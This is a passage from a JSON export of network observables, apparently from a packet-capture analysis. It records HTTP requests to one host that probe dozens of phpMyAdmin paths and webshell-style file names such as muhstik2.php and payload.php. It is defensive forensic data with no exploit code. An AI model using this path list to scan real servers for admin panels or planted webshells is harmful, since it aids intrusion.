        "observable_id": "observable-ac4e4016c18aa1fba5e8a7d1",
        "last_seen_epoch": "1577255390.499651000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255387.457217000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/muhstik2.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 174,
            "display_filter": "frame.number == 174",
            "timestamp_epoch": "1577255390.776754000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-252406c1b07c015bbc65c3cc",
        "last_seen_epoch": "1577255390.776754000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255390.776754000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/muhstiks.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 177,
            "display_filter": "frame.number == 177",
            "timestamp_epoch": "1577255391.053629000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7df807c1a07e5a43b6d91ff8",
        "last_seen_epoch": "1577255391.053629000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255391.053629000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/muma.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 890,
            "display_filter": "frame.number == 890",
            "timestamp_epoch": "1577255759.861805000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b5271e738be88a9ef7d1cb64",
        "last_seen_epoch": "1577255759.861805000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255759.861805000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mx.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1081,
            "display_filter": "frame.number == 1081",
            "timestamp_epoch": "1577255812.954624000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-10ed1d657468e28e4fb6a19a",
        "last_seen_epoch": "1577255812.954624000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255812.954624000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/my.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 588,
            "display_filter": "frame.number == 588",
            "timestamp_epoch": "1577255613.840418000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 917,
            "display_filter": "frame.number == 917",
            "timestamp_epoch": "1577255771.320971000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7b7f5cc1414fb91aac4bab58",
        "last_seen_epoch": "1577255771.320971000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255613.840418000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/myadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2194,
            "display_filter": "frame.number == 2194",
            "timestamp_epoch": "1577256373.744435000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-369b9602fa01b312fce5edb5",
        "last_seen_epoch": "1577256373.744435000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256373.744435000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/MyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2270,
            "display_filter": "frame.number == 2270",
            "timestamp_epoch": "1577256396.400909000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9572ef6c7dc2b43f9ec5ed68",
        "last_seen_epoch": "1577256396.400909000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256396.400909000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/myadmin/scripts/db___.init.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 249,
            "display_filter": "frame.number == 249",
            "timestamp_epoch": "1577255403.763204000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2e3094919c980cfee1b18bed",
        "last_seen_epoch": "1577255403.763204000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255403.763204000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/MyAdmin/scripts/db___.init.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 252,
            "display_filter": "frame.number == 252",
            "timestamp_epoch": "1577255404.040171000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-66dc9aca3233c75ea47e1196",
        "last_seen_epoch": "1577255404.040171000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255404.040171000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/myadmin/scripts/setup.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 237,
            "display_filter": "frame.number == 237",
            "timestamp_epoch": "1577255402.653381000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7db670895ee87995e0d0dd15",
        "last_seen_epoch": "1577255402.653381000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255402.653381000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/MyAdmin/scripts/setup.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 240,
            "display_filter": "frame.number == 240",
            "timestamp_epoch": "1577255402.930694000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0d129bbcc77451011dfd2ac2",
        "last_seen_epoch": "1577255402.930694000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255402.930694000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/myadmin2/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2197,
            "display_filter": "frame.number == 2197",
            "timestamp_epoch": "1577256376.036773000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e1d3c24917b640a9f27f18bc",
        "last_seen_epoch": "1577256376.036773000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256376.036773000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql-admin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2145,
            "display_filter": "frame.number == 2145",
            "timestamp_epoch": "1577256359.003859000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-cb5877170f29db4cf810a145",
        "last_seen_epoch": "1577256359.003859000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256359.003859000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql.php",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1896,
            "display_filter": "frame.number == 1896",
            "timestamp_epoch": "1577256227.169239000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4b4c78550603a8257c264dac",
        "last_seen_epoch": "1577256227.169239000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256227.169239000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql/admin/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2377,
            "display_filter": "frame.number == 2377",
            "timestamp_epoch": "1577256438.048093000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f5d90f0d9a49d90ff31c6156",
        "last_seen_epoch": "1577256438.048093000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256438.048093000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql/dbadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2380,
            "display_filter": "frame.number == 2380",
            "timestamp_epoch": "1577256438.318492000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-81c03a20cf0c96c29c59f8be",
        "last_seen_epoch": "1577256438.318492000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256438.318492000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql/index.php",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2097,
            "display_filter": "frame.number == 2097",
            "timestamp_epoch": "1577256342.271411000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bfab1fad9f23310464b5724e",
        "last_seen_epoch": "1577256342.271411000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256342.271411000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql/sqlmanager/index.php",
        "evidence": [
          {
            "tcp_stream": 74,
            "frame_number": 2387,
            "display_filter": "frame.number == 2387",
            "timestamp_epoch": "1577256442.065417000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5e7847b3de7bab8a5e912cc6",
        "last_seen_epoch": "1577256442.065417000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256442.065417000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysql_admin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2147,
            "display_filter": "frame.number == 2147",
            "timestamp_epoch": "1577256359.285766000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b0a6d1b56857ce0d7144f5b5",
        "last_seen_epoch": "1577256359.285766000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256359.285766000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mysqladmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2142,
            "display_filter": "frame.number == 2142",
            "timestamp_epoch": "1577256358.669251000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a1c5e15b14382d48732ddd72",
        "last_seen_epoch": "1577256358.669251000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256358.669251000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/MySQLAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2417,
            "display_filter": "frame.number == 2417",
            "timestamp_epoch": "1577256450.716240000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-377854032496e96cdc4d4553",
        "last_seen_epoch": "1577256450.716240000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256450.716240000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mz.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1224,
            "display_filter": "frame.number == 1224",
            "timestamp_epoch": "1577255878.400872000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e8b1e269fa430365263b3ebe",
        "last_seen_epoch": "1577255878.400872000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255878.400872000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/nb.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 723,
            "display_filter": "frame.number == 723",
            "timestamp_epoch": "1577255675.190009000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-83d5d02c13e13f418a4b3715",
        "last_seen_epoch": "1577255675.190009000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255675.190009000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/neko.php",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1844,
            "display_filter": "frame.number == 1844",
            "timestamp_epoch": "1577256203.856851000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4707482f9f4dad0e51704788",
        "last_seen_epoch": "1577256203.856851000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256203.856851000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/new_license.php",
        "evidence": [
          {
            "tcp_stream": 7,
            "frame_number": 364,
            "display_filter": "frame.number == 364",
            "timestamp_epoch": "1577255455.638799000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6ac9a2a543416b5eac397b25",
        "last_seen_epoch": "1577255455.638799000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255455.638799000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/nnb.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 874,
            "display_filter": "frame.number == 874",
            "timestamp_epoch": "1577255754.834136000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-70d0254e94c325cea7f8768f",
        "last_seen_epoch": "1577255754.834136000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255754.834136000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/nnn.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 767,
            "display_filter": "frame.number == 767",
            "timestamp_epoch": "1577255690.130026000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ce95fe5b23dc7492bd7f6122",
        "last_seen_epoch": "1577255690.130026000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255690.130026000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/no.php",
        "evidence": [
          {
            "tcp_stream": 62,
            "frame_number": 1886,
            "display_filter": "frame.number == 1886",
            "timestamp_epoch": "1577256215.393642000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-43cc63adc604ca04a67af510",
        "last_seen_epoch": "1577256215.393642000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256215.393642000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/no1.php",
        "evidence": [
          {
            "tcp_stream": 9,
            "frame_number": 458,
            "display_filter": "frame.number == 458",
            "timestamp_epoch": "1577255514.871544000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a1137c20eb0685add37df950",
        "last_seen_epoch": "1577255514.871544000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255514.871544000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/nuoxi.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1580,
            "display_filter": "frame.number == 1580",
            "timestamp_epoch": "1577256083.873098000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7dd6b870d138b9d0ca64e5cf",
        "last_seen_epoch": "1577256083.873098000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256083.873098000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/o.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 978,
            "display_filter": "frame.number == 978",
            "timestamp_epoch": "1577255787.629408000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-cdbe7c6f8fc8a95e61141468",
        "last_seen_epoch": "1577255787.629408000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255787.629408000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/okokok.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1586,
            "display_filter": "frame.number == 1586",
            "timestamp_epoch": "1577256084.537106000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f818a100152627c08189ebea",
        "last_seen_epoch": "1577256084.537106000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256084.537106000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/olelist.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 953,
            "display_filter": "frame.number == 953",
            "timestamp_epoch": "1577255781.486826000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-074b02f0b61022d8680907a9",
        "last_seen_epoch": "1577255781.486826000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255781.486826000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ooi.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 738,
            "display_filter": "frame.number == 738",
            "timestamp_epoch": "1577255679.558468000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-24a31735a0d589f0c1311cfb",
        "last_seen_epoch": "1577255679.558468000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255679.558468000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ooo.php",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 844,
            "display_filter": "frame.number == 844",
            "timestamp_epoch": "1577255725.060106000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1479,
            "display_filter": "frame.number == 1479",
            "timestamp_epoch": "1577256046.780153000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0dcc4d4ac90b33b45822c15d",
        "last_seen_epoch": "1577256046.780153000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255725.060106000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ooo23.php",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1421,
            "display_filter": "frame.number == 1421",
            "timestamp_epoch": "1577256008.818732000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-28a383ead20b703322831ac7",
        "last_seen_epoch": "1577256008.818732000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256008.818732000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/orange.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1939,
            "display_filter": "frame.number == 1939",
            "timestamp_epoch": "1577256246.719146000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-05ee7b9e76c4386cc2816b33",
        "last_seen_epoch": "1577256246.719146000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256246.719146000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/p.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1665,
            "display_filter": "frame.number == 1665",
            "timestamp_epoch": "1577256132.243514000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4768bcf92767a4e22678c03a",
        "last_seen_epoch": "1577256132.243514000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256132.243514000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/p34ky1337.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1063,
            "display_filter": "frame.number == 1063",
            "timestamp_epoch": "1577255807.276352000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4e80790569bda4d2afde2f23",
        "last_seen_epoch": "1577255807.276352000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255807.276352000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/pagefile.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1018,
            "display_filter": "frame.number == 1018",
            "timestamp_epoch": "1577255798.109281000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-06fa0252dfaa6256b8631078",
        "last_seen_epoch": "1577255798.109281000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255798.109281000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/pass.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 950,
            "display_filter": "frame.number == 950",
            "timestamp_epoch": "1577255780.655780000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-32cd6188645c52e7a8939475",
        "last_seen_epoch": "1577255780.655780000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255780.655780000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/payload.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 329,
            "display_filter": "frame.number == 329",
            "timestamp_epoch": "1577255435.263223000"
          },
          {
            "tcp_stream": 7,
            "frame_number": 361,
            "display_filter": "frame.number == 361",
            "timestamp_epoch": "1577255454.651743000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d8d4bfde868332fb7648f6bd",
        "last_seen_epoch": "1577255454.651743000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255435.263223000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/pe.php",
        "evidence": [
          {
            "tcp_stream": 33,
            "frame_number": 1156,
            "display_filter": "frame.number == 1156",
            "timestamp_epoch": "1577255831.999353000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8c402819826ef52f09483b7d",
        "last_seen_epoch": "1577255831.999353000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255831.999353000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/php.php",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1799,
            "display_filter": "frame.number == 1799",
            "timestamp_epoch": "1577256189.879792000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-94c8533af24934fe7bb7f8df",
        "last_seen_epoch": "1577256189.879792000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256189.879792000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/php2MyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2307,
            "display_filter": "frame.number == 2307",
            "timestamp_epoch": "1577256406.814526000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-500dccdeca89c7cac5af51a1",
        "last_seen_epoch": "1577256406.814526000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256406.814526000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2150,
            "display_filter": "frame.number == 2150",
            "timestamp_epoch": "1577256359.567646000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-79d67b480d85d475d468e0f8",
        "last_seen_epoch": "1577256359.567646000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256359.567646000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2153,
            "display_filter": "frame.number == 2153",
            "timestamp_epoch": "1577256360.364110000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-711c2270a912db43e953f457",
        "last_seen_epoch": "1577256360.364110000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256360.364110000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpdm.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 532,
            "display_filter": "frame.number == 532",
            "timestamp_epoch": "1577255590.769645000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ed4159f0b40e8d1489ef9794",
        "last_seen_epoch": "1577255590.769645000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255590.769645000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpiMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2310,
            "display_filter": "frame.number == 2310",
            "timestamp_epoch": "1577256407.081539000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-dda2814655ce69b53d412fad",
        "last_seen_epoch": "1577256407.081539000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256407.081539000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpinfi.php",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1312,
            "display_filter": "frame.number == 1312",
            "timestamp_epoch": "1577255921.483227000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-87556f70ad748028dbbc0155",
        "last_seen_epoch": "1577255921.483227000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255921.483227000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpinfo.php",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 28,
            "display_filter": "frame.number == 28",
            "timestamp_epoch": "1577255333.957025000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-50be602798f3b6e6b32e11c5",
        "last_seen_epoch": "1577255333.957025000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255333.957025000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpini.php",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1494,
            "display_filter": "frame.number == 1494",
            "timestamp_epoch": "1577256050.315473000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0f1b06289576ebf469e361a8",
        "last_seen_epoch": "1577256050.315473000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256050.315473000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpma/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2231,
            "display_filter": "frame.number == 2231",
            "timestamp_epoch": "1577256383.739814000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2725a42599cdff0ee8fc40e9",
        "last_seen_epoch": "1577256383.739814000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256383.739814000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpmadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2325,
            "display_filter": "frame.number == 2325",
            "timestamp_epoch": "1577256408.382120000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-244f0279e5d83e5282eb3bce",
        "last_seen_epoch": "1577256408.382120000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256408.382120000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpmy/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2374,
            "display_filter": "frame.number == 2374",
            "timestamp_epoch": "1577256437.244396000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-30c43e976f7d6d3dc3264b88",
        "last_seen_epoch": "1577256437.244396000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256437.244396000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpMyAbmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2240,
            "display_filter": "frame.number == 2240",
            "timestamp_epoch": "1577256385.870208000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b1361c07c7159e742e21e452",
        "last_seen_epoch": "1577256385.870208000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256385.870208000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpmyadm1n/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2252,
            "display_filter": "frame.number == 2252",
            "timestamp_epoch": "1577256390.858602000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-48076369daf00bc2707c0eb5",
        "last_seen_epoch": "1577256390.858602000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256390.858602000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpMyAdm1n/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2255,
            "display_filter": "frame.number == 2255",
            "timestamp_epoch": "1577256391.118097000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a9da307df335a49321654d49",
        "last_seen_epoch": "1577256391.118097000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256391.118097000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpMyadmi/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2261,
            "display_filter": "frame.number == 2261",
            "timestamp_epoch": "1577256393.658362000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2d92f377c5c81945f5dd209f",
        "last_seen_epoch": "1577256393.658362000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256393.658362000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpMyAdmin+++---/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2246,
            "display_filter": "frame.number == 2246",
            "timestamp_epoch": "1577256389.594200000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e3af01a6d95bde687faea7d7",
        "last_seen_epoch": "1577256389.594200000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256389.594200000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpMyAdmin-4.4.0/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2166,
            "display_filter": "frame.number == 2166",
            "timestamp_epoch": "1577256363.340451000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8238a7f004071c29c99772c8",
        "last_seen_epoch": "1577256363.340451000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256363.340451000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/phpmyadmin-old/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2212,
            "display_filter": "frame.number == 2212",
            "timestamp_epoch": "1577256379.084904000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-34356a85f3b7bb945c80f778",
        "last_seen_epoch": "1577256379.084904000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256379.084904000"
      },
